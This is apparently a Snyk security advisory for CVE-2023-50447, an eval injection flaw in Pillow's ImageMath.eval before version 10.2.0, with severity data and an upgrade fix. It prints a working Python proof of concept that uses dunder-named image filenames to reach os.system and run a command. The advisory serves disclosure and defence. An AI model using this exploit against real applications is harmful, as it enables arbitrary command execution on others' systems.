Eval Injection Affecting pillow package, versions [,10.2.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PILLOW-6182918
  • published21 Jan 2024
  • disclosed19 Jan 2024
  • creditCheckmarx’s Research Group

Introduced: 19 Jan 2024

CVE-2023-50447  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade pillow to version 10.2.0 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

CVSS Scores

version 3.1